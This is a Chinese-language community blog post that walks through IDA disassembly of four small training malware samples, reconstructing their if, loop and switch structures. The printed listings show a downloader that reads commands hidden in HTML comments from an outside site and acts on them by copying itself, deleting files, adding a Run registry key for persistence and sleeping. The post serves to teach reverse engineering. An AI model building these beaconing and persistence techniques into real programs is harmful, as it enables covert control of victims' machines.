从反汇编看恶意程序的C语言结构

举报
亿人安全 发表于 2023/05/30 21:41:25 2023/05/30
【摘要】 0x00 前言本文利用IDA分析4个简单的恶意程序,旨在基本掌握这4个恶意程序的C语言逻辑结构,同时这4个程序功能逐渐递增,循序渐进。笔者也是初学者,有些不足之处在所难免,请师傅们斧正0x01详细分析首先静态分析该exe文件,看下导入函数,其中一个调用了 WININET.dll中的 InternetGetConnectedState 函数,这个跟其他调用 kernel32.dll 中的函数相...

0x00 前言

本文利用IDA分析4个简单的恶意程序,旨在基本掌握这4个恶意程序的C语言逻辑结构,同时这4个程序功能逐渐递增,循序渐进。笔者也是初学者,有些不足之处在所难免,请师傅们斧正

0x01


详细分析

首先静态分析该exe文件,看下导入函数,其中一个调用了 WININET.dll中的 InternetGetConnectedState 函数,这个跟其他调用 kernel32.dll 中的函数相比,显得有些特殊。


图片

查阅文档可知,这是一个 判断本地网络连接状态的函数,连接成功返回1,连接失败返回0

互联网连接状态功能 (wininet.h) - win32 应用程序|微软文档 (microsoft.com)

BOOL InternetGetConnectedState(
[out] LPDWORD lpdwFlags,
[in]  DWORD   dwReserved
);


找到了main 函数,就从这里开始分析

main函数位于401040,调用了401000处的函数


图片

跳过去看看

上面一大堆没用的是编译器生成的,不要陷入其中

看到该区段的权限是 可读/可执行,并且调用了 InternetGetConnectedState 函数

图片

不看流程图的话大概也可以看出这是一个 if 语句的汇编代码,cmp [ebp+var_4] ,0 ,根据结果跳转到不同的分支

图片

View->Graphs->Flow chart可以查看流程图,相比较于空格的 流程图,更简洁明了

图片


这里使用cmp指令对保存了返回结果的eax寄存器与0比较,然后使用 jz 指令控制执行流。上面我们提到,当 建立网络连接时,InternetGetConnectedState函数返回1,否则返回0. 如果结果是1,0标志位(ZF)会被清除,jz跳转到1所在的false分支,否则跳转到true分支

图片

下面分析这个位于 40105f处的子过程

图片


其实这里是printf 函数,但是我们并没有看到一些printf函数的特征,这就需要去找一些其他的特征来证明这里是printf函数

在调用这个函数之前,都向栈中push了 一串 格式化字符串,并且结尾是\n 换行符,因此可以推出这里调用的函数就是 printf


上面都是是根据静态分析得出的结论,真正的结果还是要实践检验一下

图片

总结

这个恶意代码的主要功能就是检查是否存在 Internet连接,存在输出1,否则输出0。


0x02

详细分析


首先还是看到这个pe文件的导入表

图片

InternetOpenUrl: 通过FTP或 HTTP URL打开一个原始资源。如果连接成功建立,则返回一个有效的句柄,如果连接失败,则返回 NULL
internetclosehandle :关闭句柄,成功关闭返回 true,否则返回false
InternetReadFile:从InternetOpenA打开的句柄读取数据
InternetGetConnectedState:验证网络连接状态
InternetOpenA: 设置用户代理,即HTTP的 user-agent 头


看到其中的一些字符串,在结合上面调用的 api函数,不难猜出,要访问的url地址

图片

接着来分析 main 函数

图片

401000 处这里就不说了,和前面一样

但是401000 这里还调用的 40117f,跳过去看看

图片

这个结构很像前面分析的 printf函数,那我们再往前看一看。

图片

果然,在push入栈中也有一串格式化的字符串,基本可以确定40117f 处的函数是 printf函数

图片

同时,main 函数中还调用了另一个401040函数

图片

这里包含了所有 前面发现的 WinINet api的调用。首先调用了InternetOpen ,以初始化对WinINet的使用。在这之前,将 Internet Explorer 7.5 push 入栈,当作 User-Agent 头部,接着调用 InternetOpenUrl ,打开该静态网页

图片

可以看到,调用完 InternetOpenUrl后,返回值被赋值给了hFIle,并接着与0比较,如果等于0会返回,否则跳转到40109D,hFile被传递给InternetReadFIle函数。

InternetReadFile 函数用于从InternetOpenUrlA打开的网页中读取内容。在调用完后,会和0比较,如果为0,该函数会关闭句柄并终止,否则会跳转到 4010E5,逐步比较 buffer 数组 与每个字符的值,

图片

这里有注释会好很多<!—  ,否则的话,最开始的 3c 对应的ASCII码是 <,也可以一一对应 出 <!— ,这是html中注释的开始部分。

这时候就可以猜测存在 http 交互

图片

因此大概就可以确定,如果 buffer 的前 4个字节与 <!— 匹配成功的话,第5个字符就会被移到 AL 中并返回。

接着分析 main 函数,

看到在 401173 处 ,调用了 sleep 函数,传递的参数为 0xEA60h,即60000ms,1min

图片

总结

图片

该恶意样本检查是否有可用的网络连接,如果不存在,终止运行,否则返回 true,使用代理去下载其中包含的一个网址中的内容,这个网址包含注释,并且将printf解析后的字符串 “success:Parsed command is %c”到屏幕,输出成功的话,会sleep一分钟。这种方式是通过注释来隐藏指令,使得恶意代码看起来像是访问正常网页。


0x03

详细分析

还是先看看导入表,一些旧东西

图片

修改注册表的api函数, RegSet ValueExA和 RegOpenKeyExA 一起用于向注册表中插入信息,在设置应用程序启动项/开机自启时,通常会使用这两个函数

图片

字符串也是发现了一些很有意思的,在临时目录会生成 cc.exe 文件,还会去修改注册表的自启动项目录

图片

下面接着看main 函数,与上一个恶意样本很像,接下来就找不同

图片

401000 处的检查网络连接和 401040处的下载网页与 上一篇基本相同,而不同的是这里多了对401030的调用

图片

仔细分析 401130处的函数

图片

根据注释可以看出是 switch 分支语句

看下它传入的参数,在调用前,传入了 argv 和 var_8 push入栈作为参数,这里的 argv就是argv[0],就是这个程序的字符串引用,

图片

追踪 var_8 参数,发现在 40122D 处被设置为AL。此时 eax 存放的是上一个调用函数 401040的返回值,即html注释中的解析字符

图片

再来分析401130

arg_0 是IDA 自动生成的标签,用于标记调用函数前最后一个被push入栈的参数,所以这里的 arg_0 是解析得到的html指令字符,并赋值给 var_8,接着加载到ecx中执行,减去61h,因此,如果传入的arg_0 =a,执行sub指令后,ecx归0

接下来 cmp ecx 和4,检查 arg_0 是否是 a-e 中的某个字符,如果不是,ja 跳转到 401153,如果是的话,这个指令字符放入edx中,被用作跳转表的索引,看到下面 edx*4,因为这是switch结构,跳转表是一组指向不同函数的地址表,每个地址的大小占4个字节,而下面也正如我们所料,跳转表有5条记录

.text:00401130                 push    ebp
.text:00401131                 mov     ebp, esp
.text:00401133                 sub     esp, 8
.text:00401136                 movsx   eax, [ebp+arg_0]
.text:0040113A                 mov     [ebp+var_8], eax
.text:0040113D                 mov     ecx, [ebp+var_8]
.text:00401140                 sub     ecx, 61h ; 'a' ; switch 5 cases
.text:00401143                 mov     [ebp+var_8], ecx
.text:00401146                 cmp     [ebp+var_8], 4
.text:0040114A                 ja     def_401153      ; jumptable 00401153 default case
.text:00401150                 mov     edx, [ebp+var_8]
.text:00401153                 jmp     ds:jpt_401153[edx*4] ; switch jump
.text:0040115A ; ---------------------------------------------------------------------------
.text:0040115A
.text:0040115A loc_40115A:                             ; CODE XREF: sub_401130+23↑j
.text:0040115A                                         ; DATA XREF: .text:jpt_401153↓o
.text:0040115A                 push   0               ; jumptable 00401153 case 97
.text:0040115C                 push   offset PathName ; "C:\\Temp"
.text:00401161                 call    ds:CreateDirectoryA
.text:00401167                 jmp     loc_4011EE
.text:0040116C ; ---------------------------------------------------------------------------
.text:0040116C
.text:0040116C loc_40116C:                             ; CODE XREF: sub_401130+23↑j
.text:0040116C                                         ; DATA XREF: .text:jpt_401153↓o
.text:0040116C                 push   1               ; jumptable 00401153 case 98
.text:0040116E                 push   offset Data     ; "C:\\Temp\\cc.exe"
.text:00401173                 mov     eax, [ebp+lpExistingFileName]
.text:00401176                 push    eax             ; lpExistingFileName
.text:00401177                 call    ds:CopyFileA
.text:0040117D                 jmp     short loc_4011EE

分别来看这5条语句调用函数的地址

.text:0040115A loc_40115A:                             ; CODE XREF: sub_401130+23↑j
.text:0040115A                                         ; DATA XREF: .text:jpt_401153↓o
.text:0040115A                 push   0               ; jumptable 00401153 case 97
.text:0040115C                 push   offset PathName ; "C:\\Temp"
.text:00401161                 call    ds:CreateDirectoryA
.text:00401167                 jmp     loc_4011EE
.text:0040116C ; ---------------------------------------------------------------------------
.text:0040116C
.text:0040116C loc_40116C:                             ; CODE XREF: sub_401130+23↑j
.text:0040116C                                         ; DATA XREF: .text:jpt_401153↓o
.text:0040116C                 push   1               ; jumptable 00401153 case 98
.text:0040116E                 push   offset Data     ; "C:\\Temp\\cc.exe"
.text:00401173                 mov     eax, [ebp+lpExistingFileName]
.text:00401176                 push    eax             ; lpExistingFileName
.text:00401177                 call    ds:CopyFileA
.text:0040117D                 jmp     short loc_4011EE
.text:0040117F ; ---------------------------------------------------------------------------
.text:0040117F
.text:0040117F loc_40117F:                             ; CODE XREF: sub_401130+23↑j
.text:0040117F                                         ; DATA XREF: .text:jpt_401153↓o
.text:0040117F                 push   offset Data     ; jumptable 00401153 case 99
.text:00401184                 call    ds:DeleteFileA
.text:0040118A                 jmp     short loc_4011EE
.text:0040118C ; ---------------------------------------------------------------------------
.text:0040118C
.text:0040118C loc_40118C:                             ; CODE XREF: sub_401130+23↑j
.text:0040118C                                         ; DATA XREF: .text:jpt_401153↓o
.text:0040118C                 lea     ecx, [ebp+phkResult] ; jumptable 00401153 case 100
.text:0040118F                 push    ecx             ; phkResult
.text:00401190                 push   0F003Fh         ; samDesired
.text:00401195                 push   0               ; ulOptions
.text:00401197                 push   offset SubKey   ; "Software\\Microsoft\\Windows\\CurrentVe"...
.text:0040119C                 push   80000002h       ; hKey
.text:004011A1                 call    ds:RegOpenKeyExA
.text:004011A7                 push   0Fh             ; cbData
.text:004011A9                 push   offset Data     ; "C:\\Temp\\cc.exe"
.text:004011AE                 push   1               ; dwType
.text:004011B0                 push   0               ; Reserved
.text:004011B2                 push   offset ValueName ; "Malware"
.text:004011B7                 mov     edx, [ebp+phkResult]
.text:004011BA                 push    edx             ; hKey
.text:004011BB                 call    ds:RegSetValueExA
.text:004011C1                 test    eax, eax
.text:004011C3                 jz     short loc_4011D2
.text:004011C5                 push   offset aError31CouldNo ; "Error 3.1: Could not set Registry value"...
.text:004011CA                 call   sub_401271
.text:004011CF                 add     esp, 4
.text:004011D2
.text:004011D2 loc_4011D2:                             ; CODE XREF: sub_401130+93↑j
.text:004011D2                 jmp     short loc_4011EE
.text:004011D4 ; ---------------------------------------------------------------------------
.text:004011D4
.text:004011D4 loc_4011D4:                             ; CODE XREF: sub_401130+23↑j
.text:004011D4                                         ; DATA XREF: .text:jpt_401153↓o
.text:004011D4                 push   186A0h          ; jumptable 00401153 case 101
.text:004011D9                 call    ds:Sleep
.text:004011DF                 jmp     short loc_4011EE


a:调用createdirectory函数,参数是 C:\\Temp,如果该目录不存在,则创建该目录
b:调用copy file函数,两个参数分别是源文件(argv[0]即目标程序)和目的文件(C:\\Temp\cc.exe)
c:调用deletefile函数,当 C:\\Temp\cc.exe 文件存在时删除它
d:调用 RegSet ValueExA和 RegOpenKeyExA 在注册表中添加开机自启,即将Software\Microsoft Windows \CurrentVersion\Run\Malware 的值添加为C:\\Temp\cc.exe,这样目标机器每次开机时都会启动该恶意程序
e:调用sleep函数,参数100s


总结

该程序的主要功能也了然于胸了,首先 if 判断是否联网,不联网程序终止。联网的话程序会去下载一个网页,其中包含了html的注释头部,并解析出第一个字符,用来校验switch的参数,决定执行哪条语句(创建目录/拷贝文件/删除文件/修改注册表/sleep)


0x04

详细分析

首先还是先看下导入表,和前面一样,并没有多余的改变。

图片

字符串的唯一变化就是多了 Internet Explorer 7.5 ,看来是多了个 user-agent 代理

图片

相同的这些就不说了,来看看不同点有哪些

来到main函数这里,也是很多相同的函数,401000(判断Internet是否连接),401040(解析HTML),4012b5(printf函数),401150(switch语句)

图片


图片

图片


而当我们看整个函数视图的时候,发现了一个向上的箭头,很明显出现了循环

图片

那就来分析下这段循环结构

00401248 ; ---------------------------------------------------------------------------
.text:00401248
.text:00401248 loc_401248:                             ; CODE XREF: _main+12↑j
.text:00401248                 mov     [ebp+var_C], 0
.text:0040124F                 jmp     short loc_40125A
.text:00401251 ; ---------------------------------------------------------------------------
.text:00401251
.text:00401251 loc_401251:                             ; CODE XREF: _main+7D↓j
.text:00401251                 mov     eax, [ebp+var_C]
.text:00401254                 add     eax, 1
.text:00401257                 mov     [ebp+var_C], eax
.text:0040125A
.text:0040125A loc_40125A:                             ; CODE XREF: _main+1F↑j
.text:0040125A                 cmp     [ebp+var_C], 5A0h
.text:00401261                 jge     short loc_4012AF
.text:00401263                 mov     ecx, [ebp+var_C]
.text:00401266                 push    ecx
.text:00401267                 call   sub_401040
.text:0040126C                 add     esp, 4
.text:0040126F                 mov     [ebp+var_8], al
.text:00401272                 movsx   edx, [ebp+var_8]
.text:00401276                 test    edx, edx
.text:00401278                 jnz     short loc_40127E
.text:0040127A                 xor     eax, eax
.text:0040127C                 jmp     short loc_4012B1
.text:0040127E ; ---------------------------------------------------------------------------
.text:0040127E
.text:0040127E loc_40127E:                             ; CODE XREF: _main+48↑j
.text:0040127E                 movsx   eax, [ebp+var_8]
.text:00401282                 push    eax
.text:00401283                 push   offset aSuccessParsedC ; "Success: Parsed command is %c\n"
.text:00401288                 call   sub_4012B5
.text:0040128D                 add     esp, 8
.text:00401290                 mov     ecx, [ebp+argv]
.text:00401293                 mov     edx, [ecx]
.text:00401295                 push    edx             ; lpExistingFileName
.text:00401296                 mov     al, [ebp+var_8]
.text:00401299                 push    eax             ; char
.text:0040129A                 call   sub_401150
.text:0040129F                 add     esp, 8
.text:004012A2                 push   0EA60h          ; dwMilliseconds
.text:004012A7                 call    ds:Sleep
.text:004012AD                 jmp     short loc_401251

很明显,var_c 是用来循环计数的,在 4012AD 处 jmp 401251,返回递增,如果大于5A0h(1440d) 就在401261处跳出循环到 4012AF,循环结束.否则程序接着运行,在401263处开始。将ecx(var_c) push入栈,接着调用401040(解析html)函数,然后慢慢执行,在4012A7 处调用sleep函数,参数是 EA60h(60000d),即1分钟,所以这个程序会sleep 1440 分钟(24小时)

在上一个程序中,401040 处并没有参数,而这里传入了 arg_0 作为参数,并且是唯一的参数,而在调用 401040 前,push进了ecx,即var_c,所以这里的arg_0 就是var_c(计数器),push arg_0入栈后,接着push了  Internet Explorer 7.50/pma%d 字符串,和 szAgent的地址。然后调用_sprintf 函数,用来将格式化的数据写入字符串,并存储在szAgent 中。然后在40106a调用 INternetOpen 函数,传入的参数是 szAgent,也就是说,每次var_C 计数器增加后, user-agent长度也会随之改变。这里就可以用来监测该程序运行了多长时间。

text:00401040                 push    ebp
.text:00401041                 mov     ebp, esp
.text:00401043                 sub     esp, 230h
.text:00401049                 mov     eax, [ebp+arg_0]
.text:0040104C                 push    eax
.text:0040104D                 push   offset Format   ; "Internet Explorer 7.50/pma%d"
.text:00401052                 lea     ecx, [ebp+szAgent]
.text:00401055                 push    ecx             ; Buffer
.text:00401056                 call    _sprintf
.text:0040105B                 add     esp, 0Ch
.text:0040105E                 push   0               ; dwFlags
.text:00401060                 push   0               ; lpszProxyBypass
.text:00401062                 push   0               ; lpszProxy
.text:00401064                 push   0               ; dwAccessType
.text:00401066                 lea     edx, [ebp+szAgent]
.text:00401069                 push    edx             ; lpszAgent
.text:0040106A                 call    ds:InternetOpenA
.text:00401070                 mov     [ebp+hInternet], eax
.text:00401073                 push   0               ; dwContext
.text:00401075                 push   0               ; dwFlags
.text:00401077                 push   0               ; dwHeadersLength
.text:00401079                 push   0               ; lpszHeaders
.text:0040107B                 push   offset szUrl    ; "http://www.practicalmalwareanalysis.com"...
.text:00401080                 mov     eax, [ebp+hInternet]
.text:00401083                 push    eax             ; hInternet
.text:00401084                 call    ds:InternetOpenUrlA
.text:0040108A                 mov     [ebp+hFile], eax
.text:0040108D                 cmp     [ebp+hFile], 0
.text:00401091                 jnz     short loc_4010B1
.text:00401093                 push   offset aError21FailToO ; "Error 2.1: Fail to OpenUrl\n"
.text:00401098                 call   sub_4012B5
.text:0040109D                 add     esp, 4
.text:004010A0                 mov     ecx, [ebp+hInternet]
.text:004010A3                 push    ecx             ; hInternet
.text:004010A4                 call    ds:InternetCloseHandle
.text:004010AA                 xor     al, al
.text:004010AC                 jmp     loc_401140

总结

首先,程序会使用if结构检查是否建立连接。如果无,程序终止运行。否则,程序使用一个上面提到的的User-Agent 来下载一个html, 这个User-Agent包含了一个循环结构的计数器,用于向attacker显示程序已经运行了多长时间。下载的网页中包含了以<!--开头的html注释代码,这段注释代码中接下来的第一个字符被用于一个switch语句,以决定接下来在本地系统的行为。包括删除文件、创建个目录、 设置一个注册表run键、复制文件、休眠100秒等。最终该程序会运行24小时后终止。


总结

通过简单的反汇编看简单恶意文件的C语言结构就先到这里,思路我上面都有提到,更复杂的我也正在慢慢学习,如有不足,欢迎师傅们斧正。

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。